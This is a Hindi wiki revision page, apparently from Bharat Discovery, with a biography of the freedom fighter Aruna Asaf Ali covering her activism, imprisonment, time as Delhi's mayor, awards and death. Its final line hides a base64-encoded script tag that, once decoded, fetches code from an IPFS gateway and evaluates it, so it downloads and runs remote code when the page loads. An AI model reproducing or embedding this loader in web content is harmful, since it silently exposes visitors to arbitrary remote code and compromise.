अरुणा आसफ़ अली: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replacement - "पश्चात " to "पश्चात् ")
m (Text replacement - " महान " to " महान् ")
Line 63: Line 63:
अरुणा आसफ़ अली की अपनी विशिष्ट जीवनशैली थी। उम्र के आठवें दशक में भी वह सार्वजनिक परिवहन से सफर करती थीं। कहा जाता है कि एक बार अरुणा जी [[दिल्ली]] में यात्रियों से भरी बस में सवार थीं। कोई भी जगह बैठने के लिए ख़ाली न थी। उसी बस में आधुनिक जीवन शैली की एक युवा महिला भी सवार थी। एक व्यक्ति ने युवा महिला के लिए अपनी जगह उसे दे दी और उस युवा महिला ने शिष्टाचार के कारण अपनी सीट अरुणा जी को दे दी। ऐसा करने पर वह व्यक्ति बुरा मान गया और युवा महिला से बोला - 'यह सीट तो मैंने आपके लिए ख़ाली की थी बहन।' इसके उत्तर में अरुणा आसफ़ अली तुरंत बोलीं - 'बेटा! माँ को कभी न भूलना, क्योंकि माँ का अधिकार बहन से पहले होता है।'  यह सुनकर वह व्यक्ति बहुत शर्मिंदा हुआ और उसने अरुणा जी से माफ़ी मांगी।
अरुणा आसफ़ अली की अपनी विशिष्ट जीवनशैली थी। उम्र के आठवें दशक में भी वह सार्वजनिक परिवहन से सफर करती थीं। कहा जाता है कि एक बार अरुणा जी [[दिल्ली]] में यात्रियों से भरी बस में सवार थीं। कोई भी जगह बैठने के लिए ख़ाली न थी। उसी बस में आधुनिक जीवन शैली की एक युवा महिला भी सवार थी। एक व्यक्ति ने युवा महिला के लिए अपनी जगह उसे दे दी और उस युवा महिला ने शिष्टाचार के कारण अपनी सीट अरुणा जी को दे दी। ऐसा करने पर वह व्यक्ति बुरा मान गया और युवा महिला से बोला - 'यह सीट तो मैंने आपके लिए ख़ाली की थी बहन।' इसके उत्तर में अरुणा आसफ़ अली तुरंत बोलीं - 'बेटा! माँ को कभी न भूलना, क्योंकि माँ का अधिकार बहन से पहले होता है।'  यह सुनकर वह व्यक्ति बहुत शर्मिंदा हुआ और उसने अरुणा जी से माफ़ी मांगी।
==निधन==
==निधन==
अरुणा आसफ़ अली वृद्धावस्था में बहुत शांत और गंभीर स्वभाव की हो गई थीं। उनकी आत्मीयता और स्नेह को कभी भुलाया नहीं जा सकता। वास्तव में वे महान देशभक्त थीं। वयोवृद्ध स्वतंत्रता सेनानी अरुणा आसफ़ अली 87 वर्ष की आयु में दिनांक [[29 जुलाई]], सन् [[1996]] को इस संसार को छोड़कर सदैव के लिए दूर-बहुत दूर चली गईं। उनकी सुकीर्ति आज भी अमर है।
अरुणा आसफ़ अली वृद्धावस्था में बहुत शांत और गंभीर स्वभाव की हो गई थीं। उनकी आत्मीयता और स्नेह को कभी भुलाया नहीं जा सकता। वास्तव में वे महान् देशभक्त थीं। वयोवृद्ध स्वतंत्रता सेनानी अरुणा आसफ़ अली 87 वर्ष की आयु में दिनांक [[29 जुलाई]], सन् [[1996]] को इस संसार को छोड़कर सदैव के लिए दूर-बहुत दूर चली गईं। उनकी सुकीर्ति आज भी अमर है।


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}

Revision as of 13:58, 30 June 2017

अरुणा आसफ़ अली
पूरा नाम अरुणा आसफ़ अली
अन्य नाम अरुणा गांगुली
जन्म 16 जुलाई, 1909
जन्म भूमि हरियाणा
मृत्यु 29 जुलाई, 1996
पति/पत्नी आसफ़ अली
कर्म-क्षेत्र स्वतंत्रता सेनानी, शिक्षक
भाषा हिन्दी, अंग्रेज़ी
पुरस्कार-उपाधि 'लेनिन शांति पुरस्कार' (1964), 'जवाहरलाल नेहरू अंतर्राष्ट्रीय सद्भावना पुरस्कार' (1991), 'पद्म विभूषण' (1992), ‘इंदिरा गांधी पुरस्कार’, 'भारत रत्न' (1997)
विशेष योगदान 1942 ई. के ‘अंग्रेज़ों भारत छोड़ो’ आंदोलन में विशेष योगदान था।
नागरिकता भारतीय
अन्य जानकारी 1998 में इनके नाम पर एक डाक टिकट जारी किया गया। उनके सम्मान में नई दिल्ली की एक सड़क का नाम 'अरुणा आसफ़ अली मार्ग' रखा गया।

अरुणा आसफ़ अली (अंग्रेज़ी: Aruna Asaf Ali,जन्म- 16 जुलाई, 1909; मृत्यु- 29 जुलाई, 1996) का नाम भारत के स्वतंत्रता आन्दोलन में विशेष रूप से प्रसिद्ध है। इन्होंने भारत को आज़ादी दिलाने के लिए कई उल्लेखनीय कार्य किये थे। भारत के स्वतंत्रता आंदोलन में अग्रणी भूमिका निभाने वाली क्रांतिकारी, जुझारू नेता श्रीमती अरुणा आसफ़ अली का नाम इतिहास में दर्ज है। अरुणा आसफ़ अली ने सन 1942 ई. के ‘अंग्रेज़ों भारत छोड़ो’ आंदोलन में महत्त्वपूर्ण योगदान को विस्मृत नहीं किया जा सकता। देश को आज़ाद कराने के लिए अरुणा जी निरंतर वर्षों अंग्रेज़ों से संघर्ष करती रही थीं।

जीवन परिचय

अरुणा जी का जन्म बंगाली परिवार में 16 जुलाई सन 1909 ई. को हरियाणा, तत्कालीन पंजाब के 'कालका' नामक स्थान में हुआ था। इनका परिवार जाति से ब्राह्मण था। इनका नाम 'अरुणा गांगुली' था। अरुणा जी ने स्कूली शिक्षा नैनीताल में प्राप्त की थी। नैनीताल में इनके पिता का होटल था। यह बहुत ही कुशाग्र बुद्धि और पढ़ाई लिखाई में बहुत चतुर थीं। बाल्यकाल से ही कक्षा में सर्वोच्च स्थान पाती थीं। बचपन में ही उन्होंने अपनी बुद्धिमत्ता और चतुरता की धाक जमा दी थी। लाहौर और नैनीताल से पढ़ाई पूरी करने के बाद वह शिक्षिका बन गई और कोलकाता के 'गोखले मेमोरियल कॉलेज' में अध्यापन कार्य करने लगीं।[1]

विवाह

अरुणा जी ने 19 वर्ष की आयु में सन 1928 ई. में अपना अंतर्जातीय प्रेम विवाह दिल्ली के सुविख्यात वकील और कांग्रेस के नेता आसफ़ अली से कर लिया। आसफ़ अली अरुणा से आयु में 20 वर्ष बड़े थे। उनके पिता इस अंतर्जातीय विवाह के विरुद्ध थे और मुस्लिम युवक आसफ़ अली के साथ अपनी बेटी की शादी किसी भी क़ीमत पर करने को राज़ी नहीं थे। अरुणा जी स्वतंत्र विचारों की और स्वतः निर्णय लेने वाली युवती थीं। उन्होंने माता-पिता के विरोध के बाद भी स्वेच्छा से शादी कर ली। विवाह के बाद वह पति के पास आ गईं, और पति के साथ प्रेमपूर्वक रहने लगीं। इस विवाह ने अरुणा के जीवन की दिशा बदल दी। वे राजनीति में रुचि लेने लगीं। वे राष्ट्रीय आन्दोलन में सम्मिलित हो गईं।

राजनीतिक और सामाजिक जीवन

परतंत्रता में भारत की दुर्दशा और अंग्रेज़ों के अत्याचार देखकर विवाह के उपरांत श्रीमती अरुणा आसफ़ अली स्वतंत्रता-संग्राम में सक्रिय भाग लेने लगीं। उन्होंने महात्मा गांधी और मौलाना अबुल क़लाम आज़ाद की सभाओं में भाग लेना प्रारम्भ कर दिया। वह इन दोनों नेताओं के संपर्क में आईं और उनके साथ कर्मठता, से राजनीति में भाग लेने लगीं, वे फिर लोकनायक जयप्रकाश नारायण, राम मनोहर लोहिया और अच्युत पटवर्द्धन के साथ कांग्रेस 'सोशलिस्ट पार्टी' से संबद्ध हो गईं।

जेल यात्रा

अरुणा जी ने 1930, 1932 और 1941 के व्यक्तिगत सत्याग्रह के समय जेल की सज़ाएँ भोगीं। उनके ऊपर जयप्रकाश नारायण, डॉ. राम मनोहर लोहिया, अच्युत पटवर्धन जैसे समाजवादियों के विचारों का अधिक प्रभाव पड़ा। इसी कारण 1942 ई. के ‘भारत छोड़ो आन्दोलन’ में अरुणा जी ने अंग्रेज़ों की जेल में बन्द होने के बदले भूमिगत रहकर अपने अन्य साथियों के साथ आन्दोलन का नेतृत्व करना उचित समझा। गांधी जी आदि नेताओं की गिरफ्तारी के तुरन्त बाद मुम्बई में विरोध सभा आयोजित करके विदेशी सरकार को खुली चुनौती देने वाली वे प्रमुख महिला थीं। फिर गुप्त रूप से उन कांग्रेसजनों का पथ-प्रदर्शन किया, जो जेल से बाहर रह सके थे। मुम्बई, कोलकाता, दिल्ली आदि में घूम-घूमकर, पर पुलिस की पकड़ से बचकर लोगों में नव जागृति लाने का प्रयत्न किया। लेकिन 1942 से 1946 तक देश भर में सक्रिय रहकर भी वे पुलिस की पकड़ में नहीं आईं। 1946 में जब उनके नाम का वारंट रद्द हुआ, तभी वे प्रकट हुईं। सारी सम्पत्ति जब्त करने पर भी उन्होंने आत्मसमर्पण नहीं किया।

कांग्रेस कमेटी की निर्वाचित अध्यक्ष

दो वर्ष के अंतराल के बाद सन् 1946 ई. में वह भूमिगत जीवन से बाहर आ गईं। भूमिगत जीवन से बाहर आने के बाद सन् 1947 ई. में श्रीमती अरुणा आसफ़ अली दिल्ली प्रदेश कांग्रेस कमेटी की अध्यक्षा निर्वाचित की गईं। दिल्ली में कांग्रेस संगठन को इन्होंने सुदृढ़ किया।

कांग्रेस से सोशलिस्ट पार्टी में

सन 1948 ई. में श्रीमती अरुणा आसफ़ अली 'सोशलिस्ट पार्टी' में सम्मिलित हुयीं और दो साल बाद सन् 1950 ई. में उन्होंने अलग से ‘लेफ्ट स्पेशलिस्ट पार्टी’ बनाई और वे सक्रिय होकर 'मज़दूर-आंदोलन' में जी जान से जुट गईं। अंत में सन 1955 ई. में इस पार्टी का 'भारतीय कम्यनिस्ट पार्टी' में विलय हो गया।

भाकपा में

श्रीमती अरुणा आसफ़ अली भाकपा की केंद्रीय समिति की सदस्या और ‘ऑल इंडिया ट्रेड यूनियन कांग्रेस’ की उपाध्यक्षा बनाई गई थीं। सन् 1958 ई. में उन्होंने 'मार्क्सवादी कम्युनिस्ट पार्टी' भी छोड़ दी। सन् 1964 ई. में पं. जवाहरलाल नेहरू के निधन के पश्चात् वे पुनः 'कांग्रेस पार्टी' से जुड़ीं, किंतु अधिक सक्रिय नहीं रहीं।

दिल्ली नगर निगम की प्रथम महापौर

श्रीमती अरुणा आसफ़ अली सन् 1958 ई. में 'दिल्ली नगर निगम' की प्रथम महापौर चुनी गईं। मेयर बनकर उन्होंने दिल्ली के विकास, सफाई, और स्वास्थ्य आदि के लिए बहुत अच्छा कार्य किया और नगर निगम की कार्य प्रणाली में भी उन्होंने यथेष्ट सुधार किए।

संगठनों से सम्बंध

श्रीमती अरुणा आसफ़ अली ‘इंडोसोवियत कल्चरल सोसाइटी’, ‘ऑल इंडिया पीस काउंसिल’, तथा ‘नेशनल फैडरेशन ऑफ इंडियन वूमैन’, आदि संस्थाओं के लिए उन्होंने बड़ी लगन, निष्ठा, ईमानदारी और सक्रियता से कार्य किया। दिल्ली से प्रकाशित वामपंथी अंग्रेज़ी दैनिक समाचार पत्र ‘पेट्रियट’ से वे जीवनपर्यंत कर्मठता से जुड़ी रहीं।

सम्मान और पुरस्कार

श्रीमती अरुणा आसफ़ अली को सन् 1964 में ‘लेनिन शांति पुरस्कार’, सन् 1991 में 'जवाहरलाल नेहरू अंतर्राष्ट्रीय सद्भावना पुरस्कार', 1992 में 'पद्म विभूषण' और ‘इंदिरा गांधी पुरस्कार’ (राष्ट्रीय एकता के लिए) से सम्मानित किया गया था। 1997 में उन्हें मरणोपरांत भारत के 'सर्वोच्च नागरिक सम्मान' भारत रत्न से सम्मानित किया गया। 1998 में उन पर एक डाक टिकट जारी किया गया। उनके सम्मान में नई दिल्ली की एक सड़क का नाम उनके नाम पर 'अरुणा आसफ़ अली मार्ग' रखा गया।

एक संस्मरण

अरुणा आसफ़ अली की अपनी विशिष्ट जीवनशैली थी। उम्र के आठवें दशक में भी वह सार्वजनिक परिवहन से सफर करती थीं। कहा जाता है कि एक बार अरुणा जी दिल्ली में यात्रियों से भरी बस में सवार थीं। कोई भी जगह बैठने के लिए ख़ाली न थी। उसी बस में आधुनिक जीवन शैली की एक युवा महिला भी सवार थी। एक व्यक्ति ने युवा महिला के लिए अपनी जगह उसे दे दी और उस युवा महिला ने शिष्टाचार के कारण अपनी सीट अरुणा जी को दे दी। ऐसा करने पर वह व्यक्ति बुरा मान गया और युवा महिला से बोला - 'यह सीट तो मैंने आपके लिए ख़ाली की थी बहन।' इसके उत्तर में अरुणा आसफ़ अली तुरंत बोलीं - 'बेटा! माँ को कभी न भूलना, क्योंकि माँ का अधिकार बहन से पहले होता है।' यह सुनकर वह व्यक्ति बहुत शर्मिंदा हुआ और उसने अरुणा जी से माफ़ी मांगी।

निधन

अरुणा आसफ़ अली वृद्धावस्था में बहुत शांत और गंभीर स्वभाव की हो गई थीं। उनकी आत्मीयता और स्नेह को कभी भुलाया नहीं जा सकता। वास्तव में वे महान् देशभक्त थीं। वयोवृद्ध स्वतंत्रता सेनानी अरुणा आसफ़ अली 87 वर्ष की आयु में दिनांक 29 जुलाई, सन् 1996 को इस संसार को छोड़कर सदैव के लिए दूर-बहुत दूर चली गईं। उनकी सुकीर्ति आज भी अमर है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. अरुणा आसफ़ अली : दिल्ली की पहली महापौर (हिन्दी) (एच.टी.एम.एल) वेब दुनिया। अभिगमन तिथि: 6 अप्रॅल, 2011।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>